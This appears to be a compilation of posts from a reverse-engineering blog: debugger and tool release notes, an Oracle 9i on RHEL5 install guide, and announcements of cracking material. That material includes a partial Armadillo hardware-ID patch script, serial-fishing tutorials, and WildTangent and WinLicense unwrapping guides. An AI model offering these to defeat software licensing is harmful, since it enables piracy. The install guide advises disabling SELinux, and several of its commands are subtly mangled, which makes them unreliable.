Process Monitor v2.03: This update to Process Monitor, a real-time file, registry, process and network monitor, adds the ability to import and export configuration settings, shows an icon in the operations column depicting the event class of the operation, and fixes a symbol configuration bug on Windows XP.
Autoruns v9.36: Autoruns changes the Hide Microsoft Entries to only hide Windows entries, fixes a bug in the Find behavior, allows enabling and disabling entries using the space bar, and fixes a number of minor bugs.
Disk Usage v1.33: Du adds a new option, -u, that has it exclude duplicate hard-linked files from its summary.
Process Explorer v11.31: This update works around a bug in the latest Debugging Tools for Windows debug engine DLL and fixes a bug that could cause objects to show up as when Process Explorer was run without administrative rights.

Download here  :
http://download.sysinternals.com/Files/SysinternalsSuite.zip

I have to install Oracle 9i on RHEL5, i follow all steps to set up OS, environment variables, install all require rpm files. When run the /runinstaller , select appropriate choices. After few clicks  Oracle will be installed. However i  face a problem during dbca configuration, like this :
err

Try to fix but i can’t find the solution, i guess may be wrong with JRE, after few minutes for google :) … i found the solution to run DbCA. Here is all the steps from nirajkvinit’s blog to install oracle9i :

Assuming

· You know how to operate a Linux Box. (Navigating directories/ knowhow of basic commands)

· You know how to install software modules/libraries (Mostly rpms for RHEL5).

· You have a system installed with RHEL5 or you know how to install it.

Important tips during installation of RHEL5

· Do not install Virtualization support during RHEL5 installation. I don’t know why but my Oracle 9i Installation behaved erratically whenever this Virtualization module was present in my system. It installs a different Kernel (Xen). So skip it.

· During RHEL5 Installation disable SELinux. If you couldn’t do it in the first place then don’t worry, read ahead to know how to disable it.

1. Installing Oracle 9i on RHEL5 (Logged in as root)

· Disabling SELinux – Disable SELinux now (If you couldn’t disable it during installation).

#gedit /etc/selinux/config

And make sure to set the SELINUX Flag disabled.

SELINUX=disabled

Installing JRE – Newer version of JRE behaved badly in my Oracle installation, so Download the Java Runtime Enviroment (I used j2re-1_3_1_19-linux-i586.bin) from http://java.sun.com/products/archive/j2se/1.3.1_19/index.html . Fire the command prompt and navigate to the location where you have stored the downloaded file. Most probably it will be Root’s Desktop Directory. So go there.

#cd /root/Desktop

Give the file, execute permission and then execute it. When the JRE is exracted, move the extracted directory into the “/usr/local” directory.

# chmod +x j2re-1_3_1_19-linux-i586.bin
# ./ j2re-1_3_1_19-linux-i586.bin
# mv jre1.3.1_19 /usr/local/

· Installing missing libraries You don’t know whether you have the required packages installed or not. Right! Don’t sweat. Run following commands to check whether you have those packages or not. If they are installed, the command prompt will return you their version, else ‘Not installed’ message.

#rpm -q compat-db compat-gcc-34 compat-gcc-34-c++ compat-libgcc-296 compat-libstdc++-296

If everything is alright, then it will show the following:

[root@localhost ~]# rpm -q compat-db compat-gcc-34 compat-gcc-34-c++ compat-libgcc-296 compat-libstdc++-296

compat-db-4.2.52-5.1

compat-gcc-34-3.4.6-4

compat-gcc-34-c++-3.4.6-4

compat-libgcc-296-2.96-138

compat-libstdc++-296-2.96-138

[root@localhost ~]# rpm -q compat-libstdc++-33 gcc gcc-c++ glibc glibc-common glibc-devel glibc-headers libgcc make libXp

compat-libstdc++-33-3.2.3-61

gcc-4.1.1-52.el5

gcc-c++-4.1.1-52.el5

glibc-2.5-12

glibc-common-2.5-12

glibc-devel-2.5-12

glibc-headers-2.5-12

libgcc-4.1.1-52.el5

make-3.81-1.1

libXp-1.0.0-8

If you get the ‘Not installed’ message with any of the package; then load your installation media (RHEL5 Installation Disk), and run the following commands to install the necessary packages.

#cd /media/cdrom/Server

#rpm -Uvh make-3*

#rpm -Uvh glibc-2*

#rpm -Uvh compat-libstdc++-33-3*

#rpm -Uvh compat-gcc-34-3*

#rpm -Uvh compat-gcc-34-c++-3*

#rpm -Uvh gcc-4*

#rpm -Uvh libXp-1*

#rpm -Uvh compat-db-4*

· Installing patches – You need to download two patches and install it. These patches are:

http://oss.oracle.com/projects/compat-oracle/dist/files/RedHat/compat-libcwait-2.1-1.i386.rpm

http://oss.oracle.com/projects/compat-oracle/dist/files/RedHat/compat-oracle-rhel4-1.0-5.i386.rpm

Navigate to the location where you have stored the downloaded file. Most probably it will be Root’s Desktop Directory. So go there.

#cd /root/Desktop

#rpm -Uvh compat-libcwait-2.1-1.i386.rpm

#rpm -Uvh compat-oracle-rhel4-1.0-5.i386.rpm –nodeps

· Now the Workarounds – Some libraries aren’t available for RHEL5, so you can use the substitutes available in the RHEL5 itself. All you have to do is linking. So, here you go.

1. #cd /usr/lib
#ln -s libstdc++-3-libc6.2-2-2.10.0.so libstdc++-libc6.1-1.so.2

2. #cd /usr/bin
#ln -s gcc34 gcc32

3. #cd /usr/lib
#ln -s libgdbm.so.2.0.0 libdb.so.2

· User and Group Creation – Oracle installer wouldn’t run as the root user, so you need to create a user. It would be better, if you create a special group for Oracle. To do these, run the following commands in the command prompt.

#groupadd oinstall

#groupadd dba

#groupadd oper

#useradd -g oinstall -G dba oracle

#passwd oracle

· ORACLE_BASE Directory Creation -Login as root and create base directory for Oracle ($ORACLE_BASE).

# cd /opt
# mkdir oracle
# chown –R oracle.oinstall oracle

#cd oracle

#mkdir 920

· Setting Environment VariablesNow since you have created the oracle user, you need to setup its environment variables. For that, you need to update oracle’s .bash_profile file.

Open bash profile of Oracle:

#gedit /home/oracle/.bash_profile

Now add the following lines in the file –

PATH=$PATH:$HOME/bin; export PATH

ORACLE_BASE=/opt/oracle; export ORACLE_BASE

ORACLE_HOME=$ORACLE_BASE/920; export ORACLE_HOME

ORACLE_SID=orcl; export ORACLE_SID

LD_LIBRARY_PATH=$ORACLE_HOME/lib; export LD_LIBRARY_PATH

ORACLE_OEM_JAVARUNTIME=/usr/local/jre1.3.1_19; export ORACLE_OEM_JAVARUNTIME

PATH=$PATH:$ORACLE_HOME/bin; export PATH

if [ $USER = "oracle" ]; then

if [ $SHELL = "/bin/ksh" ]; then

ulimit -p 16384

ulimit -n 65536

else

ulimit -u 16384 -n 65536

fi

fi

Save and close the file.

· Setting up the kernel parameters – You also need to do a little modification in the the kernel parameters. You need to open the sysctl.conf file -

#gedit /etc/sysctl.conf

And add the following lines -

kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
net.core.rmem_default=262144
net.core.wmem_default=262144
net.core.rmem_max=262144
net.core.wmem_max=262144

Save and close the file. You need to run a command to update the parameters

#sysctl –p

· Logout of root and login again as oracle user.

2. Installing Oracle 9i on RHEL5 (Logged in as oracle):

· Download Oracle 9iDownload the Oracle 9i (9.2.0.4) software from Oracle website. Store the files in oracle’s home directory. Launch the command prompt and navigate there.

$cd /home/oracle

Unzip the files -

$ gunzip ship_9204_linux_disk1.cpio.gz
$gunzip ship_9204_linux_disk2.cpio.gz
$gunzip ship_9204_linux_disk3.cpio.gz

Unpack the cpio files –

$cpio -idmv “<” ship_9204_linux_disk1.cpio
$cpio -idmv “<” ship_9204_linux_disk2.cpio
$cpio -idmv “< “ship_9204_linux_disk3.cpio

· Setting Oraparam.ini fileWhen all archives files are extracted you’ll have three directories Disk1, Disk2 and Disk3. Locate the oraparam.ini and update it with new information. Oraparam.ini is in Disk1/install/linux/ directory.

$gedit /home/oracle/Disk1/install/linux/oraparm.ini

Modify JRE_LOCATION variable and set it to

JRE_LOCATION=/usr/local/jre1.3.1_19

Save the file and close.

· Starting Oracle Installer – Now you are all set for Oracle installation. In the command prompt go to the Disk1 directory and run runInstaller file.

$cd /home/oracle/Disk1

$./runinstaller

–> When you see DBCA Fail, do the following :

You need to change the installer’s JRE. Launch the command prompt, and do the following –

$cd $ORACLE_HOME
$rm JRE
$ln -s $ORACLE_BASE/jre/1.3.1 JRE
$cd JRE/bin
$ln -s java jre
$cd i386/native_threads/
$ln -s java jre

When you are done, select DBCA and every failed services and click retry button, one-be-one. Your installation will succeed.

标 题: Armadillo v6.XX Finger-Print-Patcher新鲜出炉
作 者: playboysen
时 间: 2008-12-10,17:18
链 接: http://bbs.pediy.com/showthread.php?t=78424

Hello everyone!
Today I provide a script about Armadillo v6.XX Finger-Print-Patch as a gift for coming Christmas Day.
You know I intended to publish it on Christmas Day.However,I’ve to be busy hunting for a job as a graduate.
Welcome to test it and please email me if you have any questions or ideas…

Notes:
1.Make sure you’ve hided your OD and ignored all exceptions!
2.Run our script.(You have to know your machine ID and a usable machine ID)
3.You’d better prepare a Trial-Reset.


////////////////////////////////////////////////////////////////////////////////
// ////////////
// FileName : Armadillo v6.xx Finger-Print-Patcher V0.1 ///////////
// Features : //////////
// This script can store the new HWID information /////////
// permanently on your system.Unpacking of HWID ////////
// targets is not more required. ///////
// //////
// Environment : WinXP,ODBYdyk V1.10,OllyScript V1.65 /////
// Support : Armadillo V6.00/V6.04/V6.22... ////
// Standard/Enhanced hardware locking ///
// Thanks to : Pediy,UpackCN,Chinapyg //
// Author : Playboysen /
// Date : 2008-12-10 /
///////////////////////////////////////////////////////////////////

var OldID
var NewID

bphwc

msg “Make sure you’ve hided your OD and ignored all exceptions!\r\nPress OK to continue~~”
gpa “OpenMutexA”,”kernel32.dll”
bp $RESULT
esto
exec
pushad
pushfd
push edx
xor eax,eax
push eax
push eax
call kernel32.CreateMutexA
……

More info here :
Armadillo v6.XX Finger-Print-Patcher新鲜出炉

Overaly type detector/Extractor/Viewer (PEiD Plugin)

-View Overaly in hex mode.
-Detect Overaly type
-Extract overaly
-4 all program that support PEiD Plugin:)

img1

img2

Download here:
Overlay-Detector

or here:
Overlay-Detector

Regards
m4n0w4r

Author : Jason Papadopoulos + Anogrganix
Author website: http://www.boo.net/~jasonp/qs.html

Description
Factoring is the study (half math, half engineering, half art form) of taking big numbers and expessing them as the product of smaller numbers. If I find out 15 = 3 * 5, I’ve performed an integer factorization on the number 15. As the number to be factored becomes larger, the difficulty involved in completing its factorization explodes, to the point where you can invent secret codes that depend on the difficulty of factoring and reasonably expect your encrypted data to stay safe.

There are plenty of algorithms for performing integer factorization. Allhave a preferred size of number they are best at factoring, and all of themhave plenty of implementations available. Msieve is no exception: it can with high probability find the complete factorization of any input number up to about 125 digits in size. The actual number of digits supported is much higher (up to 164 digits), but problems larger than 125 digits are likely to fail.

Trial division is used on all inputs; if the result is less than 25 digits in size, tiny custom routines do the factoring. For larger numbers, the code switches to more powerful methods. Prior to version 1.04, those methods were limited to the quadratic sieve. From that point on, however, an implementation of the number field sieve is also available. Information specific to the quadratic sieve implementation is contained in Readme.qs, while the number field sieve variant is described in Readme.nfs

Msieve was written with several goals in mind:

- To be as fast as possible. I claim (without proof) that for
completely factoring general inputs between 40 and 100 digits
in size, Msieve is faster than any other code implementing any
other algorithm. I realize that’s a tall order, and that I’ll
probably have to eat those words, but a *lot* of effort has gone
into making Msieve fast.

- To be as portable as possible. The code is written in C and is
completely self contained. It has its own basic multiple precision
library (which can be used in other applications) and is written
in as machine-independent a manner as possible. I’ve verified that
the source code compiles and runs correctly on 32- or 64-bit Intel
x86, 32- and 64-bit PowerPC, and 64-bit Alpha platforms. It’s
reported to work in 32-bit mode on the RS6000. It works in Windows,
Linux (several flavors), Mac OS X, and AIX. Pretty much the only
requirement for building the code is that your compiler have a
native 64-bit data type.

- To be simple to use. The only input is the integer to be factored.
Everything else happens automatically.

- To be free (as in beer). The entire code base is released into the
public domain. This is hobby stuff for me, and the more it’s used
the better.

If you choose to use Msieve, please let me know how it goes. I welcome bug reports, suggestions, optimizations, ports to new platforms, complaints, boasts, whatever.

Download here: Msieve 1.39 + GUI 1.1

Regards

ODBGScript 1.66.3

Posted: December 22, 2008 in OllyDbg Tutorials

Author : SHaG & Epsylon3

Description :

ODbgScript is a plugin for OllyDbg, which is, in our opinion, the best application-mode debugger out there. One of the best features of this debugger is the plugin architecture which allows users to extend its functionality. ODbgScript is a plugin meant to let you automate OllyDbg by writing scripts in an assembly-like language. Many tasks involve a lot of repetitive work just to get to some point in the debugged application. By using my plugin you can write a script once and for all.

Download here: ODBGScript 1.66.3

Regards

OllyDbg_tut14

Posted: December 24, 2008 in OllyDbg Tutorials, OllyDbg tut_14

Một cái đầu lạnh để vững vàng, một trái tim đỏ lửa để yêu và làm việc hết mình!

I. Giới thiệu chung

Khà khà, Giáng sinh rồi … có được chút thời gian rảnh rỗi tôi lại bắt tay vào viết tiếp bộ tutor này. Hi vọng các bạn vẫn còn hứng thú để đọc những gì tôi viết :) . Ở phần 13 của loạt tuts về Ollydbg, tôi đã hướng dẫn các bạn cách kiểm tra xem file có bị pack hay không, cách tìm các điểm quan trọng để tiếp cận mục tiêu, phân tích chi tiết hoạt động của Crackme CrueHead thông qua việc trace và analyze code để từ đó tìm ra một real serial cho chuỗi Name nhập vào. Như vậy, qua bài viết đó tôi đã truyền tải tới các bạn những kinh nghiệm thực tế khi làm việc với một crackme đơn giản nhưng cũng sẽ là tiền đề cho các bạn khi gặp các crackme hoặc các chương trình khác sau này….Ở phần 14 này chúng ta sẽ quay lại làm việc với các target do lão Rincardo đưa ra, cụ thể hơn là tập trung vào chủ đề Fishing Serial :D . N0w….L3t’s G0 !!!!

II. Fishing Serial J

Chà Fishing Serial tức là gì nhỉ? Nghe như kiểu chúng ta đang đi câu cá, giữa một hồ cá rộng và sâu, làm sao ta câu được một con cá ưng ý J… trong ngữ cảnh của Cracking thì ý nghĩa cũng gần như vậy. Fishing Serial ở đây có nghĩa là chúng ta đi câu Serial, mà phải là valid Serial nhé chứ câu lung tung là mệt và dễ stress. Đối với những bạn mới vào nghề thì việc tìm được một valid Serial luôn mang lại một cảm giác lâng lâng khó tả như tìm được một “kho báu” giữa lòng đại dương J. Hồi tôi chập chững lọ mọ đọc tutor và cặm cụi mò theo, cho đến khi tìm được serial hợp lệ tự nhiên cảm thấy sướng khó tả, lúc đó nếu có ai ở bên cạnh chắc tôi sẽ kéo vào và chỉ trỏ để khoe những gì mình đã làm, dù chắc gì người đó đã hiểu mình đang làm gì, có khi lại cho mình đang bị chập lolz.

Trong phần 14 này tôi sẽ hướng dẫn các bạn làm việc với dạng Hardcoded Serial (đây là một dạng cơ bản và đơn giản), có nghĩa là dạng Serial cố định không được tính toán dựa trên Name nhập vào, cũng không thay đổi khi bạn chạy trên bất kì máy nào (tức là Serial đó valid trên mọi máy). Có bạn sẽ cho rằng vậy thì dễ quá, viết làm gì? Nhưng xin thưa, phải có dễ thì mới có khó, phải đi từ basic rồi mới tới advanced. Quan điểm của tôi là cứ từ từ mà tiến, không đi đâu mà phải vội vàng. Ok giờ chúng ta vào thực hành luôn nhé, trong bài này ta sẽ làm việc với hai Crackme của lão RedH@wk (lão này cũng là một thành viên trụ cột trong CrackLatinos).

Download toàn bộ bài viết :

ollydbg_tut14

Các target dùng trong bài viết (đổi đuôi pdf thành rar) :

crackmes-leccion-13rar

Best Regards

m4n0w4r

PROTECTiON iD v6.1.3

Posted: December 27, 2008 in PROTECTiON iD v6.1.3, RE Tools

v6.1.3

faster, more accurate, still better and no more beta – xmas release #2

Core Code changes:

- new: width-RESIZEABLE main window
- new: user can now choose what protection scans to skip
- new: added in new configuration item allowing the user to specify if iso, ccd, mds
etc modules are to be treated as discs (and therby subject to a sector scan)
- new: ability to scan inside microsoft cab files has been implimented

- update: we are now v0.6.1.3
- update: faster scanning core :)
- update: configuration window has a new look
- update: better 64 bit file handling support added
- update: appended data detection tweaked a little
- update: now if pid is running and an exe is scanned from the context menu, the main
window will change to the log window (looks better.. suggested by loki)
- update: lnk file resolving is now complete, if user has selected to resolve links,
the system handles this all automatically
- update: window position is now centred if a previous window location was not recorded
- update: adjusted ia64/x64 vs. machine check portion of code (thx to teddy rogers)
- update: configuration – windows product key showing is now a configuration item
- update: configuration – now ‘themes’ and ‘flat mode’ can not be selected at the same time,
this is how it should be as themes override flatmode etc… so now only one can
be selected, and the other is ‘auto unselected’ (suggested by syk0)
- update: configuration – addedin code to enable/disable the ‘protection report bubble’ after a scan is completed
- update: Memory Optimiser – the progress bar should get to the start again when user
clicked on Optimize and Purge was successful
- update: Memory Optimiser – code heavily updated, to work in chunks (if largest size requested is not available),
so, end result – more reliable, faster and optimised
- update: misc tools – added in quick uninstall tab
- update: misc tools – added in CD/DVD Filter Driver scanner tab
- update: misc tools – added in Windows Error Code Resolver tab
- update: misc tools – added in CPU Info tab
- update: misc tools – added in windows directory in the system info output
- update: misc tools – added in Folder Locations scanner
- update: misc tools – system information window now reports graphic device names (geforce, etc),
username & computername and terminal services availability also reported
- update: misc tools – windows install date (from registry) is now reported in the misc tools ‘system info part’,
windows install date (from folder) is now also reported.
- update: misc tools – tweaked x64 os detection code, so its a lot more reliable
- update: misc tools – windows product key reporting now also handles x64 systems
- update: nfo viewer – extra checking now added – zip, rar and mz executables will NOT be displayed,
instead, a warning message is displayed
- update: process view – added in check for terminate, dump, priority change..
if selected process is pid, the menu items are disabled (for safety and security)
- update: svf checking now reports current offset on the line when processing
- update: sfv processing now works with quoted filenames
- update: winspy – process name is now also reported (if we could obtain it.. )
- update: log window in cd/dvd operations now has a context menu, allowing for…
clear log
copy selection to clipboard
copy log to clipboard
save selection (txt)
save selection (csv)
save log (txt)
save log (csv) – bugfix: admin reflection / reporting was incorrect on 9x/ME systems
- bugfix: ‘admin shield’ icon is now moved, it looked out of place if the other progress bars
showing cpu usage etc were turned off.. (reported by loki)
- bugfix: Export as .txt doesn’t work properly, only the first file does get saved
- bugfix: event bug fixed, which sometimes resulted in pid sticking at about 35% cpu
- bugfix: pause/resume in the queue window was sometimes wrong for the text (reported by r!co)
- bugfix: Fixed SFV bug – Click on make, don’t select any files and press abort.
You can’t use the complete SFV feature as it’s all greyed out (reported by Blazkowicz)
- bugfix: sfv output for large files (mb, gb etc) was VERY wrong, its since corrected
- bugfix: fixed ‘disappearing window’ problem
- bugfix: ‘large icons’ issue fixed in 9x
- bugfix: sfv – abort now works
- bugfix: sfv – output issue should be 110% fixed now (new buffering system used)
- bugfix: task manager -> potential stack bug fixed
- bugfix: configuration – shortcut creation was broken
- bugfix: nfo viewer – fixed potential memory leak on drag/drop
- bugfix: bug in the code checking for digital signatures (found by blazi)
code now performs a sanity check on accessed memory areas

detection additions / changes

- new: check_activemark.asm – added version detection for v6.3.562
- new: check_alawar.asm – added Alawar Try & Buy Activation detection
- new: check_hexalock.asm – added HexaLock Copy Protection detection
- new: check_protectdisc.asm – added more Protect DiSC v8 subversions
- new: check_securom.asm – added in detection for sll modules + SecuROM Matroschka Package
- new: check_acprotect.asm – added ACProtect v2.1, v2.1.1 and v2.1.2 detection
- new: check_angelscrypter.asm – added Angel’s Crypteur v0.2 detection
- new: check_antidote.asm – added AntiDote v1.4 SE detection
- new: check_armadillo.asm – added version detection v6.00 or newer
- new: check_atreprotector.asm – added AT4RE Protector v1.0 detection
- new: check_avlock.asm – added AVLock detection
- new: check_budcrypter.asm – added BUD Crypter detection
- new: check_coolcrypt.asm – added COOLcryptor 0.9 detection
- new: check_cryptwoz.asm – added CryptWOZ v1.0 detection
- new: check_darkcrypt.asm – added DarkCrypt v1.2 (Private Version) detection
- new: check_dcrypt.asm – added DCrypt Private v0.9b detection
- new: check_dotfixniceprotect.asm – added DotFix NiceProtect v1.0 detection
- new: check_dotnetreactor.asm – added dotNet Reactor v3.3 (or newer) detection
- new: check_enigmaprotector.asm – added version grabber for Enigma Protector
- new: check_execrypt.asm – added ExeCRyPT v1.0 [ReBirth] detection
- new: check_exefog.asm – added EXEFog v1.1 detection
- new: check_exewrapper.asm – added ExeWrapper v3.0 (533Soft) detection
- new: check_expressor.asm – added ExPressor v1.6 detection
- new: check_fakuscrypter.asm – added Fakus Crypter detection
- new: check_fastfilecrypt.asm – added FastFileCrypt v1.6 Public detection
- new: check_fatalzcrypt.asm – added Fatalz Crypt v2.14a detection
- new: check_flashbackprot.asm – added Flashback Protector v1.0 detection
- new: check_gieprotector.asm – added Gie Protector v0.2 detection
- new: check_imppacker.asm – added IMP-Packer v1.0 detection
- new: check_kcryptor.asm – added K!Cryptor v0.11 detection
- new: check_kgbcrypter.asm – added KGB Cypter v1.0a detection
- new: check_leetcryptor.asm – added 1337 Cryptor v2 detection
- new: check_lilithcrypter.asm – added Lilith Crypter detection
- new: check_maxtocode.asm – added MaxtoCode .Net Encryption detection
- new: check_minke.asm – added Minke v1.0.1 Executable Crypter detection
- new: check_moneycrypter.asm – added Money Crypter detection
- new: check_morphna.asm – added Morphna Beta 2 detection
- new: check_mortalteamcrypter.asm – added Mortal Team Crypter v2 detection
- new: check_mpress.asm – added MPRESS NET compressor detection
- new: check_mushroomcrypter.asm – added Mu$hr00M CryPtOR v1.0 detection
- new: check_nme.asm – added NME Executable Crypter v1.1 detection
- new: check_npack.asm – added nPack v1.1.500.2008 Beta detections
- new: check_obfuscatornet.asm – added Macrobject Obfuscator.NET detection
- new: check_privateexe.asm – added version detection for v2.00 – v2.25 and v2.30 – v2.70
- new: check_puricrypt.asm – added Puri Crypt v1.2 detection
- new: check_quickpacknt.asm – added QuickPack NT v0.1 detection
- new: check_rcryptor.asm – added RCryptor v1.6d detection
- new: check_rdgpack.asm – added RDG Pack Lite Edition v0.2 detection
- new: check_rdgtejoncrypter.asm – added RDG Tejon Crypter v0.3 detection
- new: check_rlp.asm – added ReversingLabs Protector v0.7.4 beta detection
- new: check_rlpack.asm – added RLPack v1.20 detection
- new: check_roguepack.asm – added RoguePack v3.3 detection
- new: check_russiancryptor.asm – added Russian Cryptor v1.0 detection
- new: check_securepe.asm – added SecurePE v1.5 detection
- new: check_secureshade.asm – added Secure Shade v1.8 detection
- new: check_snoopcrypt.asm – added SnoopCrypt detection
- new: check_thinstall.asm – added THInstall detection
- new: check_tstcrypter.asm – added TsT Crypter detection
- new: check_undergroundcrypter.asm – added UndergroundCrypter v1.0 detection
- new: check_unlimitedcrypter.asm – added UnLimited Crypter v1.0 detection
- new: check_unopix.asm – added UnoPiX v0.94 detection
- new: check_upxlock.asm – added UPX Lock v1.01 – v1.02 detection
- new: check_weruscrypter.asm – added Werus Crypter v1.0 detection
- new: check_wildtangent.asm – added Wild Tangent v2.1 Activation detection
- new: check_windofcrypt.asm – added WindOfCrypt detection
- new: check_wingscrypt.asm – added Wingscrypt v2.0 detection
- new: check_winutilitiesexeprot.asm – added WinUtilities EXE Protector v2.1 detection
- new: check_wlcrypt.asm – added WL-Crypt v1.0 detection
- new: check_xenocode.asm – added XenoCode .NET protector detection
- new: check_xenocode.asm – added XenoCode Postbuild 2007 + 2008 for .NET detection
- new: check_xhackercryptor.asm – added xHacker Cryptor detection
- new: check_xshell.asm – added XShell v1.5 detection
- new: check_zprotect.asm – added ZProtect v1.4.3 detection
- new: check_zylomwrapper.asm – added Zylom Wrapper Crypted Game.exe detection
- new: license_nalpeiron_scan.asm – added Nalpeiron Licensing Service detection
- new: installer_install4y.asm – added Install4j Wizard Module detection
- new: installer_installshield.asm – added InstallShield v12 BETA Version detection
- new: installer_squeezesfx.asm – added Squeeze Self Extractor Module detection
- new: installer_trymediadownload.asm – added Trymedia Systems Download Manager detection
- new: msi and 7zip file type reporting is now done to the log window (similar to the .rar, zip etc reporting)
- new: added in quick detection for starforce protected pdf file
- update: check_aspack.asm – added additional check for ASPack 2.x to avoid a false positive
when scanning a file wrapped by FlashBack with ASPack entrypoint signature
- update: check_codelok.asm – improved detection
- update: check_dotnetreactor.asm – some parts recoded to be more generic & faster
- update: check_execryptor2.asm – improved detection with heuristic checks
- update: check_laserlok.asm – updated to handle older (v3) versions of laserlok
- update: check_passlock2000.asm – improved detection
- update: check_reflexivearcade.asm – executables builds are now reported (if found)
- update: check_safedisc.asm – updated to detect safedisc lite
- update: check_securom.asm – updated to handle VERY old versions & updated to detect a modified paul.dll
- update: check_solidshield.asm – minor modifications, but results in better reporting
- update: check_starforce.asm – updated to handle the new variant (v5.5) and also report bitness of the exe
- update: check_sysiphus.asm – optimized detection
- update: check_themida.asm – updated to handle dll protected Themida files
- update: check_vmprotect.asm – added new generic detection code (catches now dlls we missed before)
- update: check_upx.asm – improved to be ‘more generic’
- update: check_vob.asm.asm – updated to handle older version (4 or less)
- update: dongle_guardant.asm – added reporting of old Guardant Dongle Protections
- update: dongle_hasphlenvelope.asm – improved detection
- update: license_sentinellm – improved for better detection
- update: installer_7zip.asm – improved detection
- bugfix: check_telock.asm – fixed v1.0 detection
- bugfix: check_yzpack.asm – fixed bug resulting in non detections
- bugfix: installer_installshield.asm – fixed possible non detections

CD/DVD/Image file/sector scan

- new: b6i image added into the supported file list
- new: added in ‘Extract Boot Sector’, now the boot sector from the cd/dvd can
be ‘extracted’ to a file.. for use with something else maybe :)
- new: cddvd_cactus.scan.asm – Cactus Audio detection added to file scan in cddvd module
- new: cddvd_protectdisc.scan.asm – added in sector scan module for protectdisc / protectcd

- update: if a disk is detected as being protected when making the iso, the user will be prompted to continue or not
- update: sector stuff – updated handler to handle udf format disks (BEA01 header instead of CD001)
- update: sector scan – tweaked sector scan for tages a little
- update: sector scan – tweaked the safedisc detection code
- update: sector scan – updated to now NOT stop if a sector 16 read failure happened
- update: sector scan – securom scan updated to handle version 4.x (and probably lower),
which used a different ‘fingerprint’ and some minor tweaks / fixes
- update: sector scan – starforce + starforce keyless scan was heavily updated..
reducing probability of false positives as well as catching some we missed before
- bugfix: sector scan – codelok scan fixed

Download here:

http://pid.gamecopyworld.com/ProtectionID_v6.1.3_2k8_xmas.rar

PhantOm 1.45

# Fixed bug patch FPU.
# Fixed several bugs in the driver.
# Added handling of exceptions from using RaiseException.
# Added output of processed plugin exceptions.
# Fixed bug with NtSetInformationThread driver.
# Fixed bug with int 2d.
# Fixed “single-step” bug.
# Completely rewritten option “custom handler exceptions”.
# Fixed bug  “protect DRx”, leading to writing debris DRx registers.
# Fixed bug BlockInput on Windows 2000.

Download here (delete .pdf extension)

phantom-plugin-v145rar

Best Regards

OllyDbg Tut_15

Posted: January 2, 2009 in OllyDbg Tutorials, OllyDbg tut_15

Một cái đầu lạnh để vững vàng, một trái tim đỏ lửa để yêu và làm việc hết mình!

I. Giới thiệu chung

Hi vọng trong mấy ngày vừa qua các bạn đã đọc và thực hành xong với những crackme trong phần 14, hôm nay chúng ta sẽ tiếp tục với phần 15. Trong phần 14 tôi đã cùng các bạn làm việc với dạng Hardcoded Serial đơn giản, phần 15 này ta vẫn sẽ tiếp tục nhưng có khó hơn một chút. Lượn qua site của lão Ricard để down tutor về (các tutor của lão tôi đã down cả và lưu trong CD rồi nhưng ngại mở đĩa :D ), extract tutor và target ra thì lại đòi pass, sặc chẳng hiểu sao lão lại đặt pass và tôi cũng chẳng biết pass để extract là gì :( . Hehe google thử phát để tìm kiếm thông tin, hóa ra pass để unrar là serial ta tìm được trong cái Detten’s crackme. Chà ý tưởng của lão Rincar cũng hay phết, lão muốn người đọc phải giải quyết được target của tutor này mới được xem bài viết ở tutor tiếp theo. Ok nói chuyện vui thế đủ rồi, chúng ta đi vào phần chính luôn nhé :D . N0w….L3t’s G0 !!!!

…………

Download toàn bộ bài viết (đổi thành .rar)

ollydbg_tut15rar

Best Regards

m4n0w4r


Hi all,
in the last 3 months despite not online we weren’t inactive..

Here’s a really interesting tutorial from Nieylana and SSlEvIN. It’s about Wild Tangent games and this time the service is complete: pdf tutorial, video tutorial and unwrapper tool, plus some hints on the sources used..

This time the package is twofold: a tutorial and a tool which are released separately (but this -and only this- version of the unwrapper is also inside the tutorial distribution).

Unwrapping WildTangent_Games_by_Nieylana_SSlEvIN
The WildTangent Wrapper is a Software Protection system developed by WildTangent Inc, which is based out of Redmond WA. The wrapper is used as a marketing technique for developers to release their software as a trial, and provide you the option of either buying the game outright or paying as you play. Each game comes with 2 free trials, however these trials are only deducted if you have played the game for longer than 3 minutes. After you have used up both trials you must either buy the game or buy wildcoins to continue playing…
It can be downloaded here: http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_Tutorials/&file=Unwrapping_WildTangent_Games_by_Nieylana_SSlEvIN.rar

WildTangent_Unwrapper_v24_by_Nieylana
the unwrapper that does what the tutorial describes. Just not use it directly, learn instead from the tutorial, it’s ways better than simply use a tool. Tools becomes obsolete, learned things not!
It can be downloaded here: http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_Releases/&file=WildTangent_Unwrapper_v24_by_Nieylana.rar

BR,
Shub

A Simple Tutorial on how to trace Messageboxes in Delphi.

Hello all!

I am proud to present to you my very second Flash tutorial ever!

This time it’s about Tracing MessageBoxes in Delphi. It will show you a simple trick to find where a MessageBox was called from in a Delphi application, using Back to User Code and some simple stepping. A target I coded specifically for this tutorial is included in the package. I try to explain everything so that also beginners should be able to understand it, and understand why I did what. (my Tutorials by Beginners 4 Beginners concept. One of the reasons I started REcReatiOn team)

The size of the movie itself is 900kb, including the target and NFO the package is about 1200kb (1.1Mb), I think that’s not too big for a tutorial. smile.gif

Greetings,
~ GuShe // REcReatiOn (The empty Reverse Engineering team! biggrin.gif)

Download here (change pdf to .zip) : _gushe_recreation_messageboxes_in_delphi_zip

SheepWolf!

Posted: January 19, 2009 in Movie, SheepWolf!

Dạng phim hoạt hình vui và ngắn, được sản xuất bởi hãng Rgstudios bên Korea. Hãng này có một loạt series về chú gấu Backkom, xem mà cười chảy nước mắt lolz.

wolf

sheep

Download movie:
SheepWolf movie

Regards
m4n0w4r

From Shub, ArTeam Admin.

Hi all,
this is time I am publishing something interesting from our friend quosego. He’s a talented reverser from SND and he felt that’s time to write something document to share with others.. thanks him, there are not much WinLicense tutorials!

The result is under your eyes, I just edited the template and graphics, no special kudos to me.

The title tells all you need to know: Defeating the Winlicense Main Executable version 2.0.5.0

I hope quosego fill find time and will to write more.

you can download the distribution from here (temporarily from our mirror tutorials server):

http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_Tutorials/&file=Defeating_the_Winlicense_Main_Executable_version_2050_by_quosego.rar

Or :

http://arteam.accessroot.com/downloads/tutorials/Defeating_the_Winlicense_Main_Executable_version_2050_by_quosego.rar

shub

From Ntoskrnl

